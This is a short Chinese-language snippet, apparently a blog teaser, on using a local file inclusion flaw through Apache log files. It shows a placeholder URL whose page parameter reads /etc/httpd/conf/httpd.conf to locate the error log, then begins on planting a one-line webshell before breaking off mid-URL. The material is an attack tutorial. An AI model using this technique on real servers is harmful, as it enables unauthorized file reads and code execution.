LFI包含整理----日誌文件利用

如漏洞文件爲：http://xxx.com/lfi.php?page=xxxphp 利用apache錯誤日誌包含apache http://xxx.com/lfi.php?page=/etc/httpd/conf/httpd.conf  服務器 經過/etc/httpd/conf/httpd.conf 查看錯誤日誌文件位置爲error.log xss （1）包含一句話函數 隨便訪問：http://

>>阅读原文<<